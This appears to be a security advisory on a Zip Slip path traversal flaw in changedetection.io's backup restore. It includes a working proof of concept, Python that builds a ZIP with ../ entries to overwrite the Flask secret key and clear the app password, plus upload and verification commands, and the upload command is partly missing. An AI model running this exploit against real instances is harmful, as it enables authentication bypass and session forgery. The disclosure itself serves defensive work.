changedetection.io has Zip Slip vulnerability in the backup restore functionality

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP	Target File	Impact
../secret.txt	Flask secret key	Session forgery, auth bypass
../changedetection.json	App settings	Disable password, inject backdoor
../url-watches.json	Watch index	Inject malicious watches
../{uuid}/watch.json	Watch config	Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore
Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y" 

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"